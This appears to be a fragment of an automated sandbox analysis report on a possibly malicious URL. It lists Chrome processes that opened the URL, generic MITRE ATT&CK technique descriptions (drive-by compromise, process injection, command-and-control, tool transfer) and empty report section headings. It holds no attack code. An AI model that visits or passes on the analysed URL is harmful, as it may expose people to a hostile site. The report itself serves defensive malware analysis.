MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	17:49:59
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1852,i,12767476324253814656,13431870517047841025,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	17:50:01
Start date:	03/07/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ayssaless.com/?dybkhjzu"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token .
Tactics:	Initial Access
Data Sources:	Application Log: Application Log Content, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Process: Process Creation
Platforms:	Linux, macOS, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://ayssaless.com/?dybkhjzu

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Chrome Cache Entry: 107

Chrome Cache Entry: 108

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 111

Chrome Cache Entry: 112

Chrome Cache Entry: 113

Chrome Cache Entry: 114

Chrome Cache Entry: 115

Chrome Cache Entry: 116

Chrome Cache Entry: 117

Chrome Cache Entry: 118

Chrome Cache Entry: 119

Chrome Cache Entry: 120

Chrome Cache Entry: 121

Chrome Cache Entry: 122

Chrome Cache Entry: 123

Chrome Cache Entry: 124

Chrome Cache Entry: 125

Windows Analysis Report
https://ayssaless.com/?dybkhjzu